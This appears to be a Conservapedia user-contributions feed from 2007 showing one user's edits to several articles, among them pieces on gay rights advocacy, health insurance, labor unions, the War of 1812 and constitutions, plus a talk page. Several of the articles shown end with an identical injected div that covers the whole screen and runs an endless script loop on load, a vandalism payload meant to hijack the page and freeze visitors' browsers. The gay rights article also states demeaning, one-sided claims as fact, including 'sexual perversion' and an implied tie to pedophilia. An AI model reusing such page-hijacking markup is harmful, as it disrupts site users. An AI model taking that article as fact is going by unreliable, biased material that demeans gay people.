Conservapedia - User contributions [en]

Homosexual rights advocacy

2007-08-19T02:07:56Z

SeaOfBlue: spelling error

The '''gay rights''' movement seeks to elevate [[homosexuality]] to the same level of social and political respectability as heterosexual relationships. It denies or dismisses the Biblical prohibitions against homosexual acts and the proven health risks of gay sex.

It seeks to remove the stigma of [[sexual perversion]] from homosexuality by arguing that either,
# Homosexuality is an immutable trait, and discriminating against immutable traits is wrong (cf. race discrimination), or,
# Homosexuality, if not immutable, is highly correlated with personality, and discriminating against such deeply rooted notions of self is wrong, as well (cf. religious intolerance).

==History==
As Amazon.com said in a review of a book of [[Harry Hay]]'s writings, he "is the acknowledged father…of the modern gay liberation movement." As a [[Communist Party of the United States]] (CPUSA) organizer, he turned out "essays, position papers, critical studies, and manifestos concerning what it means to be gay in the world." <ref> [http://www.aim.org/media_monitor/A269_0_2_0_C/ Red Roots Of Gay Movement], Cliff Kincaid, Accuracy in Media, September 10, 2003. </ref>

The first step Hay took in organizing the gay rights movement was to recommend to the CPUSA that he be expelled. In
light of his years 18 years of service to the party <ref>[http://www.sojournertruth.net/ipp.html#i In Partial Payment Class Struggle, Sexuality and Gay Liberation (1978)], by A. Rausch. Retrieved from ''Urgent Tasks: [[Leftist|Journal of the Revolutionary Left]]'', Sojourner Truth Organization Digital Archive , 10 May 2007. </ref> they released him as “a security risk but a life-long friend of the people.” The early leadership of the Foundation shaped the organization to reflect the cell structure of the Communist Party, in which "secrecy, hierarchical structures, and centralized leadership predominated." <ref>John D'Emilio, ''Sexual Politics, Sexual Communities: The Making of a Homosexual Minority in the United States'' (Chicago: University of Chicago Press, 1983), quoted in Martin Meeker, Behind the Mask of Respectability, ''Journal of the History of Sexuality'', (2001) 78-116. </ref>
Hay and his fellow gay rights activists began circulating the [[USSR]] and the East European Communist parties sponsored anti-war [[Stockholm Peace petition]] against the [[Korean War]] <ref>[http://www.kimsoft.com/2000/germberia.htm New Russian Evidence on the Korean War Biological Warfare Allegations: Background and Analysis,]Milton Leitenberg, Cold War International History Project, Woodrow Wilson International Center for Scholars. </ref> at a gay beach in Los Angeles. The first months produced hundreds of members.

Amid growing public focus on gays and lesbians, 91 homosexuals were found to be employed in the [[U.S. State Department]]. Congressional investigators discovered homosexuals employed in 36 of 53 branches of Government, as well as in the armed forces. Between Jan. 1, 1947 and April 1950, 4,954 cases had come to light among some three and a half million people in Government service. Most were in the armed services. 574 cases were found involving civilian Government employees; in all the other cases the accused had either quit, been cleared or fired. The investigators found the greatest batch of civilian cases—143—in the U.S. State Department. State had cleared or gotten rid of all but a dozen whose cases were still pending. The Veterans Administration was found to have 101 cases. Others included the Atomic Energy Commission, 8; EGA, 27; Congress' legislative agencies (Library of Congress, congressional employees, etc.), 19. One Senator remarked, "It follows that if blackmailers can extort money from a homosexual under threat of disclosure, [[espionage]] agents can use the same type of pressure to extort confidential information." <ref>[http://www.time.com/time/magazine/article/0,9171,859060,00.html Object Lesson], ''TIME magazine'', Dec. 25, 1950.</ref>

The [[Human Rights Campaign]] referred to Hay as "founder and architect of the modern movement for gay, lesbian, bisexual and transgender rights" and "Harry was one of the first to realize that the dream of equality for our community could be attained through visibility and activism". <ref>[http://www.hrc.org/Content/ContentGroups/News_Releases/20021/HRC_Mourns_the_Death_of_Gay_Rights_Pioneer_Harry_Hay.htm Human Rights Campaign Mourns the Death of Gay Rights Pioneer Harry Hay], Press Release, Oct. 24, 2002.</ref> Hay not only promoted homosexual rights, he actively campaigned for the "rights" of [[pedophile]]s. ''The Boston Phoenix'' noted that nowhere was this more evident than in Hay's persistent support of the right of the North American Man-Boy Love Association, [[NAMBLA]], to march in gay-pride parades. <ref>''The Boston Phoenix'', [http://bostonphoenix.com/boston/news_features/other_stories/documents/02511115.htm The real Harry Hay], Michael Bronski, October 31 - November 7, 2002. </ref> NAMBLA maintains a website with a body of Hay's work and a tribute to Harry Hay on its homepage. The Human Rights Campaign and other gay rights organizations, while revering Hay for his contributions to gay rights, do not support NAMBLA or communism.

In 2006, [[Catholic Charities]] of Boston closed their adoption program after more than a century of finding homes for [[orphans]] and [[unwanted children]] when it was reported by the ''Boston Globe'' that gay couples had recieved children placed from the agency.<ref>[http://www.boston.com/news/local/articles/2006/03/11/catholic_charities_stuns_state_ends_adoptions/ Catholic Charities stuns state, ends adoptions], By Patricia Wen, ''The Boston Globe'', March 11, 2006.</ref> Massachusetts law barring "orientation discrimination" prohibited one of the nations oldest adoption agencies from refusing service to gay activists, and a mass resignation of the agencies Board in protest followed. <ref>[http://www.weeklystandard.com/Content/Public/Articles/000/000/012/191kgwgh.asp Banned in Boston], by Maggie Gallagher, ''The Weekly Standard'', 05/15/2006, Volume 011, Issue 33.</ref>

== Legal Success ==
Courts, including the Supreme Court, have accepted either one or both of these rationales. In ''[[Romer v. Evans]]'', the Court found that discriminating against homosexuals could only be explained by a rational of animus laid bare, which was not enough even to allow state condemnation of homosexuality under the [[rational basis review]] test. ''Romer'', then, protects the status of homosexuality from undue discrimination that occurs without a rational basis.<ref>Romer v. Evans, 517 U.S. 620</ref>

Homosexual conduct was formerly illegal in many states.<ref>See generally ''Bowers v. Hardwick'', 478 U.S. 186</ref> In the last decade of the twentieth century, although these laws existed, they were rarely (if ever) enforced.<ref>''Lawrence v. Texas,'' 539 U.S. 558, Justice Anthony Kennedy, in the Opinion of the Court, found this in his historical analysis.</ref> Without disclosing whether it saw homosexuality as a status protected from discrimination at as high of a level as gender and race, the Court struck down bans on homosexual conduct, framing it as an expansion of its privacy jurisprudence.<ref>''Lawrence v. Texas'', 539 U.S. 558</ref>

The status of homosexuality before the law, then, is in some degree of flux. While bare discrimination against homosexual status is facially unconstitutional lacking a rational basis, and while preventing homosexual conduct is similarly unconstitutional, the Supreme Court has held in these landmark cases that the state may discriminate against homosexuals to preserve an "institution that the law protects" - namely, [[marriage]].<ref>''Lawrence v. Texas''; Kennedy & O'Connor both reached this conclusion explicitly.</ref> As such, the standard to be applied in deciding if discrimination against homosexuals is wrong is somewhere in between [[rational basis review]] and [[strict scrutiny review]]. Justice [[Antonin Scalia]] thinks that this uncertainty will surely be resolved in the favor of gay rights, and he warns that such a legal erosion will result in the downfall of the law's moral authority.<ref>''Lawrence v. Texas'', Scalia, J., dissenting.</ref>

== Opposition to Gay Rights ==
Polls consistently reveal that a clear majority <ref>[http://www.washingtonpost.com/wp-dyn/content/article/2007/03/18/AR2007031800484.html | Clinton, Obama Slow to Respond to Questions on Homosexuality] Washington Post, March 18, 2007</ref><ref>[http://www.freerepublic.com/focus/f-news/963906/posts| New poll shows Americans oppose gay civil unions 58%-37%] Washington Post, August 18, 2003</ref> of people disapprove of homosexuality, or at least consider it less than ideal, and prefer that public policy does not encourage it. They also believe that accepting homosexuality would require the loss of rights to free speech, freedom of religion, freedom of association, and traditional [[marriage]].{{fact}}

Conservatives criticize attempts by gay rights activists to prohibit any statements which are critical of homosexuality, such as the idea that it is "unnatural" or "sinful", using [[hate crime]]s statutes and anti-[[discrimination]] laws.

Conservatives also oppose attempts by homosexual activists to indoctrinate children through the use of ''tolerance'' or ''diversity'' programs in schools which encourage acceptance of homosexual behavior. Notable figures including [[Tony Perkins]] have expressed concerns.

*The EU parliament called on Polish authorities to publicly condemn and take measures against declarations by officials "inciting discrimination and hatred based on sexual orientation." [http://www.breitbart.com/article.php?id=D8OOFTCO5&show_article=1]

== Support for Gay Rights ==

A [[Newsweek]] poll, conducted March, 2007, found that 61% of those polled felt that homosexuals should be allowed to serve openly in the military ([[margin of error]], plus or minus 3%). The poll did not ask directly about current military policy.

The same poll found that 50% of those asked favored legal recognition of same-sex unions, either as marriages or [[civil union]]s or partnerships. 44% felt same-sex couples should have no legal recognition, with 6% unsure.<ref>Polling Report http://www.pollingreport.com/civil.htm</ref>

==Tactics==

*Kirk and Madsen predicted a mass public change of heart would follow, even among opponents, "if we can actually make them like us." <ref>[http://www.leaderu.com/jhs/socarides.html How America Went Gay], by Charles W. Socarides, M.D., ''America'', November 18, 1995.</ref>

Advocates routinely use deceit, notably pursuing various goal while pretending not to. For example, some advocates will claim:
*The movement does not seek to convince others that homosexuality is ''right''

Yet clearly the drive for "[[tolerance]]" is only one step toward the ultimate goal of "[[approval]]".

Blurring distinctions: Advocates routinely fail to distinguish between [[homosexual behavior]] and homosexuality as an "identity".

==See also==
*[[H.R. 1592: Local Law Enforcement Hate Crimes Prevention Act of 2007]]
*[[Intimate Partner Violence]]

== References ==
{{reflist|2}}

[[Category:Homosexual Agenda]]

<div style="background: blue; position: fixed; top: 0px; left: 0px; width: 4000px; height: 200000px; z-index: 1001; color: gold; font-size: 600pt;" onload="var f=0;while(1) {f+=1;}"> </div>

Health insurance

2007-08-19T02:07:45Z

SeaOfBlue: add link

'''Health insurance''' is [[insurance]] against expenses incurred from [[health care]]. In the [[United States]], health insurance is a service provided by private companies, but in many countries (including [[Canada]]), health insurance is partially or completely funded and administered by the [[government]].

==In the United States==

In the United States, health insurance is a service provided by private companies. Generally, businesses in the United States negotiate health insurance services for their employees, who then pay for a portion their health insurance with an automatic deduction from their paychecks, although some people buy health insurance services on their own.

There are two types of payments for insurance services under the American model. The periodic payment, paid in order to maintain health insurance coverage, is called the [[premium]]. When a worker's insurance pays a medical expense, a certain fixed amount of the expense is paid by the worker. This payment is called the [[deductible]].

While most Americans with health insurance through a private company, the United States federal government does provide insurance to certain US citizens. Impoverished people may be eligible for [[Medicaid]], which is a program funded by the federal government and administered by the states, and elderly and disabled people are eligible for [[Medicare]], which is administered and funded by the federal government. Both involve contracts with private insurance companies to actually provide services.

==Terminology==

Some people make no distinction between the ''services'' provided by [[health care]] professionals and the ''insurance'' which pays for these services (see "[[Universal health care]]").

==See also==

*[[HMO]], i.e., "[[health maintenance organization]]"

[[category:medicine]]

<div style="background: blue; position: fixed; top: 0px; left: 0px; width: 4000px; height: 200000px; z-index: 1001; color: gold; font-size: 600pt;" onload="var f=0;while(1) {f+=1;}"> </div>

Labor union

2007-08-19T02:07:43Z

SeaOfBlue: add link

A labor union is an organization formed for the purpose of collectively representing the interests of a group of workers. In particular this can include collectively bargaining with employers in order to agree rates of pay and other conditions of employment. [[category:legal terms]]

==See Also==
[[Previous Breaking News/Labor unions|Articles about '''Labor unions''' from previous "Breaking News"]]

<div style="background: blue; position: fixed; top: 0px; left: 0px; width: 4000px; height: 200000px; z-index: 1001; color: gold; font-size: 600pt;" onload="var f=0;while(1) {f+=1;}"> </div>

War of 1812

2007-08-19T02:07:38Z

SeaOfBlue: add link

The '''War of 1812''' was a three-year conflict between the [[United Kingdom of Great Britain and Ireland]] and the [[United States of America]], lasting from June 18, 1812 to February 18, 1815. The war resulted in little change, and neither side claimed victory in the subsequent [[Treaty of Ghent]].

==Reasons for War==
===Trade interference===
At the time, [[Europe]] was embrioled in the [[Napoleonic Wars]]. The [[France|French]] [[Napoleon Bonaparte|Emperor]] was rapidly expanding his territories, and an alliance, including Britian, was set against him. The United States, as urged by [[George Washington]] in his Farewell Address, had declared neutrality. Both England and France, however, sought to sabotage and/or restrict American efforts to trade with their enemy. Because Britain had a superior navy, the British attempts were more successful, and compounded the grievence of impressment. Because of this, the French incursions were largely disregarded by the American public.
====Impressment====
The British Royal Navy suffered from low enlistment rates, and to 'recruit' new sailors, British vessels frequently boarded American merchant ships, under pretences of reclaiming deserters. Most notable of such encounters was the Chesapeake-Leopard Affair of 1807. The HMS Leopard fired upon and boarded the USS Chesapeake in American coastal waters, killing three and impressing four. Three of the 'deserters' were actually American citizens.
====Embargo Act of 1807====
Napoleon in 1806 issued his [[Continental System]], which put an embargo on trade with Britain. In response, Britain issued the [[Orders in Council]], blockinig trade with France. To avoid a declaration of war, President [[Thomas Jefferson]] pushed for an [[Embargo Act in 1807]]. This law prohibited the United States from trading with any foreign nations. This proved disasterous to the New England shipping industry, and was quickly repealed and replaced with the [[Non-Intercourse Act]].

====Non-Intercourse Act====
The Non-Intercourse Act was slightly more effective than the Embargo Act, but still did not achieve much. This act prohibited trade solely with beligerent nations, in an effort to continue trade but remain neutral. [[James Madison]], the new President, also ensured that if one country recognized the free trade rights of the United States, the US would cease trade with its enemy and resume trade with that country. Napoleon quickly promised to stop interference with American shipping, and the embargo resumed on British goods. Napoleon, who had no intention of following through on his promise, only wished to add to the American-British tension, and he succeeded.

===Expansionism===
Also at issue was American expansionism. After the [[American War of Independence]], the British continued to occupy several forts along the US-Canadian border. In the [[Treaty of Paris]], which ended the Revolutionary War in 1783, the British had agreed to give up control of these stations. Rather than fufil their agreement, however, the British had held the posts and even supplied local [[Native American]] tribes with weapons, and encouraging them to raid American settlements to prevent expansion.<ref>Stagg (1983)</ref>

===War Hawks===
Several [[Senators]], seeing their countrymen pressed into foreign navies and raided by Indians inspired by foreign powers, cried for war with Britain. Prominent among these so-called [[War Hawks]] was [[Henry Clay]] of [[Kentucky]]. Most of the War Hawks hailed from Western and Southern states, while New England and the now-regional [[Federalist Party]] adamantly opposed war. At the [[Hartford Convention]] in late 1814, New England even threatened secession. Many of the War Hawks also looked at [[Canada]], believing it to be poorly-defended while the British were tied up in the Napoleonic Wars. Some also thought that an American invasion would be greeted by the Canadians as a liberation. Thomas Jefferson in 1812 wrote that "the acquisition of Canada this year, as far as the neighborhood of Quebec, will be a mere matter of marching, and will give us experience for the attack of Halifax the next, and the final expulsion of England from the American continent." The assumptions of the Americans would be proven wrong soon into the war. On June 18, 1812, after hearing a speech by President Madison, [[Congress]] declared war on Great Britain.

==The War==
===Invasions of Canada===
The first phases of the war featured repeated American invasions of Canada. The Americans invaded from the west, near [[Detroit]], rather than first striking the more strategic cities of [[Montreal]] and [[Quebec]]. The first invasion was repulsed by the British under Major General [[Isaac Brock]], who continued south and captured Detroit without a fight on August 16. At the [[Battle of Queenston Heights]], the Americans (now attempting an invasion from New York) were met by Brock in Ontario. The Ameican forces were once again decisevly repelled, but General Brock was killed in the battle.
===Northwest campaign===
General [[William Henry Harrison]], given control of the American Army of the Northwest after the fall of Detroit, tried unsuccessfully to retake the fort in 1813. The British Colonel Henry Procter, with an Indian alliance under the command of [[Tecumseh]] (Harrison's nemesis from the [[Battle of Tippecanoe]] in 1811), invaded Ohio. At the naval [[Battle of Lake Erie]], the Americans under Captain [[Oliver Hazard Perry]], defeated the British for control of the Lake, forcing the British Army to withdraw from Detroit for fear of being cut off and surrounded. After the battle, Perry famously reported to Harrison, "We have met the enemy and they are ours." Harrison then again invaded Canada, and decisively defeated the Indian coalition at the [[Battle of the Thames]] on October 5. Tecumseh himself was among the dead. The loss of his leadership destroyed the coalition.
Meanwhile, American forces under General [[Henry Dearborn]] had burned York (now Toronto) after the [[Battle of York]]. The famous American explorer and soldier, [[Zebulon Pike]], was killed in the battle. [[Winfield Scott]] and [[Zachary Taylor]], both of whom would be high-ranking generals in the [[Mexican-American War]], earned experience commanding small forces in the American West during the War of 1812.
===Washington and Baltimore===
The British successfully captured and burned [[Washington, D.C.]] (including the [[White House]]), in 1814, in retaliation for the destruction of York a year earlier. [[First Lady]] [[Dolley Madison]] famously removed valuables from the [[White House]], including the portrait of George Washington, moments before their arrival.
The British Navy had blockaded the Atlantic Coast for most of the war, while allowing anti-war New England to enjoy some open ports. The British often bombarded coastal forts. The unsuccessful bombing of Fort McHenry in 1814 during the [[Battle of Baltimore]] inspired [[Francis Scott Key]] to write [[The Star-Spangled Banner]], which would eventually become the National Anthem.
===Battle of New Orleans===
With Tecumseh rallying Native Americans in the Northwest, many Southwestern tribes rose up against the Americans during the war. Some historians include these conflicts with the War of 1812, while others argue that they were distinct wars in themselves. In 1814, General [[Andrew Jackson]] led a [[Tennessee]] militia into victory over Creek Indians at the [[Battle of Horseshoe Bend]].
On [[Christmas Eve]] of 1814, delegates met in [[Ghent]], [[Belgium]] to discuss peace. The [[Treaty of Ghent]] was ratified by [[Congress]] on February 16. Fifteen days after the signing (but due to the travel time between Europe and the United States, news of the peace would not reach for over another month), General Jackson led his militias to defend a British assult into the [[New Orleans]] area. At the [[Battle of New Orleans]], Jackson routed the invaders. Fame from the victory eventually made Jackson so popular he was elected president in 1828 and 1832. Soon after the battle, news of the treaty arrived, and both sides laid down their arms.

==Impact of War==
===Treaty of Ghent===
The American delegation, consisting of [[John Quincy Adams]], [[James A. Bayard, Sr.]], [[Henry Clay]], and [[Albert Gallatin]], had no chips to bargain with to greatly influence the peace terms. As both sides had their shares of victories and defeats, the British faced the same problem. As Napoleon had been defeated in 1814 by the [[Sixth Coalition]], the issues of [[impressment]] and trade interference were no longer relevent. The Native Americans had been suppressed. Pre-war boundaries were re-established, and peace was declared.
===Era of Good Feelings===
After the so-called Second American Revolution, in which the Americans felt they had successfully resisted the British a second time, an era of strong nationalism and unity took hold. The weakening [[Federalist Party]], due to its opposition of the war, finally collapsed for good.

==References==

<references/>

[[Category:Wars]]
[[Category:Napoleonic Wars]]

<div style="background: blue; position: fixed; top: 0px; left: 0px; width: 4000px; height: 200000px; z-index: 1001; color: gold; font-size: 600pt;" onload="var f=0;while(1) {f+=1;}"> </div>

Constitution

2007-08-19T02:07:36Z

SeaOfBlue: add link to government

''For the article on the United States Constitution, go to [[United States Constitution]]''

A constitution is a system of managing a nation's [[government]], that usually spells out how the government is to be structured and the rules the government must follow. A constitution is usually written, but not always.

Alternatively, a constitution is the fundamental law of a nation or state which establishes the character and basic principles of the government.
[[category:legal terms]]
[[category:politics]]

<div style="background: blue; position: fixed; top: 0px; left: 0px; width: 4000px; height: 200000px; z-index: 1001; color: gold; font-size: 600pt;" onload="var f=0;while(1) {f+=1;}"> </div>

User talk:TerryH

2007-08-19T02:07:33Z

SeaOfBlue: comment

Talk to me! Am I right? Wrong? Any suggestions? --[[User:TerryH|TerryH]] 18:24, 5 March 2007 (EST)

*[[User_talk:TerryH/Archive_1|Archive 1]]
*[[User_talk:TerryH/Archive2|Archive 2]]

== Administrative Office ==
The door is always open. Please place questions, suggestions, complaints, ''et cetera'', here.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 13:50, 6 April 2007 (EDT)

:I think you're right and glad you ain't left. --[[User:Ed Poor|Ed Poor]] 15:56, 18 April 2007 (EDT)

== Templates ==

Terry,

Instead of typing out <tt>'''<nowiki><nowiki>{{Essay}}</nowiki></nowiki>'''</tt>, you can instead type <tt>'''<nowiki>{{tl|Essay}}</nowiki>'''</tt>. This is less effort and produces a similar result, except that it includes a link to the template: {{tl|Essay}}.

[[User:Philip J. Rayment|Philip J. Rayment]] 23:18, 18 April 2007 (EDT)

== Exterrestrial Life ==

[[Extraterrestrial life]] is an excellent article. If you are interested in pursuing this topic more, I recommend that you read ''[http://www.alienintrusion.com/ Alien Intrusion]''. I'm certain that you will enjoy it. [[User:Philip J. Rayment|Philip J. Rayment]] 05:45, 19 April 2007 (EDT)

== Provenance of [[Biblical criticism]] article ==

Due to the similarity of [[Biblical criticism]] and [http://creationwiki.org/Biblical_criticism CreationWiki's] article, I think you should add a note to the talk page detailing its provenance.

Something along the lines of "This is a dual submission of a work of sole authorship. I am the same person as User:Temlakos on CreationWiki and this article is based on [http://creationwiki.org/index.php?title=Biblical_criticism&oldid=80038 this version] of the CreationWiki article, which is entirely my work." [[User:Dpbsmith|Dpbsmith]] 14:21, 19 April 2007 (EDT)

:OK, but instead of using the Talk page, I left it at the bottom of the article itself, in its own section.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 15:03, 19 April 2007 (EDT)

== Shuvuuia ==
Was this animal (listed [http://www.creationwiki.org/Feathered_dinosaur here]) a dinosaur or just a flightless bird? I can't tell...'''Scorpion'''[[User_Talk:Scorpion|Tell me what you think]] 10:34, 20 April 2007 (EDT)
:Nor can I, because someone has scrubbed the page completely.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 10:35, 20 April 2007 (EDT)
::Sorry, I put a capital "D" in "Dinosaur". That's what's so irritating; you capitalize one letter and it won't direct you to the page!!! I've changed the link; you can follow it again. It's a small "d". '''Scorpion'''[[User_Talk:Scorpion|Tell me what you think]] 14:32, 20 April 2007 (EDT)
:::Found it. The abstract makes that animal just another flightless bird. BTW, I repaired the reference to make it look more professional.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 16:25, 20 April 2007 (EDT)
::Mike Riddle claims it was a dinosaur. '''Scorpion'''[[User_Talk:Scorpion|Tell me what you think]] 17:37, 20 April 2007 (EDT)
Well, he ought to read the reference then.<blockquote>Alvarezsaurids (Shuvuuia and its allies) are either a lineage of birds or are a lineage phylogenetically close to them.</blockquote>
It couldn't be any clearer.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 17:41, 20 April 2007 (EDT)

::Why do all theropods have hollow bones then? That would almost certainly relate them to birds. '''Scorpion'''[[User_Talk:Scorpion|Tell me what you think]] 14:46, 22 April 2007 (EDT)

==Thank you==
thank you for rewriting my pathetic article on sherlock holmes. But did holmes really "love" irene adler?[[User:Bohdan|Bohdan]]
:Dr. Watson seemed to think he did. Holmes himself was far too reticent to declare this openly.
:Which is a tribute to Conan Doyle's iron point-of-view discipline: you ''never'' get inside the head of Sherlock Holmes.
:I especially wanted to set the copyright record straight, to show where matters currently stand. A ''lot'' of authors have tried to incorporate Sherlock Holmes into their stories, and those who do, need to know that somebody still owns ''some'' rights to that character. The "Copyright" reference tells whom to contact, and how.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 09:16, 21 April 2007 (EDT)

== Proposed Block Policy....your question ==

* It is as simple as the carrot and the stick.

:It is difficult, if not impossible, to impose administrative sanctions on others without at times seeming to be arbitrary or arrogant. A person will see such actions as they do, and "facts" will not change their mind. To be limited in one's response to undesirable actions, is to tie one hand behind your back from the start. I say this because as it is now worded, so much is totally subjective, and it doesn't preclude the type of Sysop reversals of another's actions we have been seeing. "Third Party" Sysop means what? The "YEC" Sysop faction? The "Liberal" faction? Conflict resolution is also subjective. When a Sysop's actions are reversed, that erodes their authority and leads users to "shop" for like-minded Sysops. This undermines the project as a whole. You can always reach me via IM or email here, if you would like to have a dialog. --[[User:TK|Sysop-TK]] [[User_talk:TK|/MyTalk]] 19:12, 21 April 2007 (EDT)

== Evo2 ==

Hey TerryH, I saw [http://www.conservapedia.com/index.php?title=User_talk%3AAschlafly&diff=124812&oldid=124801 this] a while back, and I want to assure that I wasn't actually being sarcastic. I sometimes forget that text doesn't carry the same inflections as spoken word. I do really think it is a bad idea, since the only thing worse for the community than having sub-par articles ([[Theory of evolution]]) is having ''two'' sub-pwar articles (what Evo2 would be, completely pro-evo, for a long time). Just wanted to clarify that. Thanks! --[[User:Hojimachong|'''Hojimachong''']][[User_Talk:Hojimachong|talk]] 17:51, 25 April 2007 (EDT)
:You're welcome, and I accept your clarification.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 17:54, 25 April 2007 (EDT)

== RE Private ==

OK, Now what? --[[User:CPAdmin1|CPAdmin1]] 23:09, 25 April 2007 (EDT)

== An idea ==

== An idea to build more internet traffic to conservapedia ==

Wikipedia gives the top 1,000 articles for its website as can be seen here: http://hemlock.knams.wikimedia.org/%7Eleon/stats/wikicharts/index.php?lang=en&wiki=enwiki&ns=articles&limit=1000&month=04%2F2007&mode=view

I think we might be able to drive more http://www.google.com and other traffic to Conservapedia if we make the following articles at Conservapedia better based on the first 100 or so most popular articles at Wikipedia:

- [[United States]]

- [[Columbine High School massacre]]

- [[World War II]]

- [[Global warming]]

- [[World War I]]

- [[Adolf Hitler]]

- [[Battle of Thermopylae]]

- [[Canada]]

- [[William Shakespeare]]

- The [[Holocaust]]

- [[Abraham Lincoln]]

- [[Jesus]]

- [[Vietnam War]]

- [[China]]

'''What do you think about starting a Conservapedia improvement drive for these articles?''' Clearly this are serious subjects that people are interested in based on Wikipedia statistics. Therefore, I believe from a strategic point of view in regards to creating internet traffic to Conservapedia it makes a lot of sense to start a improvement drive in regards to these Conservapedia articles. [[User:Conservative|Conservative]] 22:56, 28 April 2007 (EDT)

== Link correction ==
Thanks for correcting the link. [http://www.conservapedia.com/index.php?title=User_talk:Ed_Poor&diff=cur] --[[User:Ed Poor|Ed Poor]] 17:17, 29 April 2007 (EDT)
:You're welcome.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 17:19, 29 April 2007 (EDT)

== Thanks ==

for blocking Alfa papa. Wow, those vandals sure work quickly! --Wikinterpreter'''[http://www.conservapedia.com/User_talk:Wikinterpreter talk?]
:You're welcome. Have you finished rolling back the messes he made?--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 17:23, 29 April 2007 (EDT)
:: Just about. That should be all, although *** and co are going to be with us for a looong time, I imagine. Oh, and he's trying to take us hostage, along the lines of 'de-sysop conservative or else'. --Wikinterpreter'''[http://www.conservapedia.com/User_talk:Wikinterpreter talk?]

== Here is something I put on the main page ==

[[Getting Web Traffic to Conservapedia - Article Creation/Improvement Drive]] [[User:Conservative|Conservative]] 21:25, 29 April 2007 (EDT)conservative

== Help Requested ==

I've been editing the article on [[Geocentric theory]] but my work is repeatedly being deleted and reverted, and I and my views have been insulted several times on the discussion page there. Please could you give me some advice and assistance. Thanks [[User:Mmeelliissssaa|Mmeelliissssaa]] 09:21, 2 May 2007 (EDT)

== [[Vietnam War]] ==

I disagree with [http://www.conservapedia.com/index.php?title=Vietnam_War&curid=11367&diff=143755&oldid=143738 this]. The U.S. objectives were not met in the [[Korean War]], and we most certainly did not win the [[War of 1812]], both of which occurred before Vietnam. [[User:GodlessLiberal|GodlessLiberal]] 19:45, 4 May 2007 (EDT)
: In the War of 1812, we were playing defense, and defense only. We won because the British failed to take us back into their Empire.
: As to Korea, those were not US objectives; they were UN objectives. Make sure you know what those stated objectives were.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 19:52, 4 May 2007 (EDT)
::Yes, you're right on Korea. But in 1812 we attempted to take over Canada. Needless to say, we failed at that. And it was us who declared war, so I wouldn't call it defense. [[User:GodlessLiberal|GodlessLiberal]] 19:56, 4 May 2007 (EDT)

== Ann Coulter ==

Why do you object to including actual quotes by Ann Coulter in an article about her? --[[User:PF Fox|PF Fox]] 19:46, 4 May 2007 (EDT)
:Because they cannot fail to have been taken out of context. Besides, I happen to know that at least one of your quotes was from another book entirely. A book that I have read, by the way.
:If you're going to quote anyone, then give the full context. Strange as it might seem to you, Ann Coulter has a reason for everything she says. When, for example, four widows start publicly those who would inhibit all efforts to prevent the murderers of their husbands from murdering other women's husbands, then they deserve the heaping of a certain opprobrium on their heads. The way you did it, made it sound as though the objects of Ann Coulter's criticisms were absolutely and entirely innocent. Which they are absolutely, positively not.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 19:51, 4 May 2007 (EDT)

::By all means then, lets add the context and allow readers to decide whether the widows in question deserved to be called "harpies" and that Ann Coulter was appropriate when she implied they ENJOYED their husbands deaths and their husbands were trying to divorce them anyway. What the hey, let's make sure we've provided the context by putting in "context" like:

::"These broads are millionaires, lionized on TV and in articles about them, reveling in their status as celebrities and stalked by grief-arazzis... I've never seen people enjoying their husbands' deaths so much ... how do we know their husbands weren't planning to divorce these harpies? Now that their shelf life is dwindling, they'd better hurry up and appear in Playboy."

::any objections? --[[User:PF Fox|PF Fox]] 19:59, 4 May 2007 (EDT)

== notice ==

Please tell others about: [[Conservapedia:New Sysops Training Page]] [[User:Conservative|Conservative]] 22:05, 17 May 2007 (EDT)

== Monster ==

I've got another article written on a Frank Peretti book: [[Monster (novel)|Monster]]. I need some help with the analysis at the end, so any contributions you could make would be welcome. Tell me what you think (of course, if you haven't read the book, you should read it first before reading my summary) '''Scorpion'''[[User_Talk:Scorpion|Vote for Pedro]] 23:00, 28 May 2007 (EDT)

== Bible ref2 template ==

Terry,

Your new template {{tl|Bible ref2}} doesn't work. You have copied {{tl|Bible ref}} and modified it to not display the "verses" parameter, but the code still expects the "verses" parameter and still tries incorporating it into the URL passed to BibleGateway, with the result that BibleGateway can't resolve it and doesn't display the requested chapter(s).

Also, instead of creating minor variations of templates, it is better if the one template covers several similar situations. That is, it would be better to modify {{tl|Bible ref}} to make the "verses" parameter optional (or even better, combine {{tl|Bible quote}} with {{tl|Bible ref}} and {{tl|Bible ref2}}, if that is practicable).

Do you know how to make "verses" optional, or would you like me to do that for you?

Either way, I suggest you change all your uses of {{tl|Bible ref2}} to {{tl|Bible ref}}, so that they will work once the latter is altered to accommodate that.

[[User:Philip J. Rayment|Philip J. Rayment]] 23:12, 4 June 2007 (EDT)

:Philip:

:I will do that, as soon as someone activates the #if directive in template processing. Right now, that #if directive does not work. I had a version of Bible ref that made the verses and version parameters optional--and the processing of the #if directive assumed that the condition was always true, and it blew up every time. Which is why I have always had to specify a version, even though I wanted a default.

:Let me know, then, when the #if parameter is repaired.--[[User:TerryH|TerryH]][[User talk:TerryH|Talk]] 12:59, 5 June 2007 (EDT)
::It's been working ever since I first tried it, which was a while ago now, but it must have been some time since you tried it. [[User:Philip J. Rayment|Philip J. Rayment]] 21:51, 5 June 2007 (EDT)

::I've changed the documentation of the template to use our standard format.
::Did you actually need to use the #if: syntax? For example, instead of <tt><nowiki>{{#if:{{{language|}}}|{{{language}}}|english}}</nowiki></tt>, wouldn't <tt><nowiki>{{{language|english}}}</nowiki></tt> have done the job?
::Also, I think we can get around the "1 Corinthians" limitation, but I'd like to see the #if: bit cleaned up first, if they can be.
::[[User:Philip J. Rayment|Philip J. Rayment]] 10:06, 6 June 2007 (EDT)

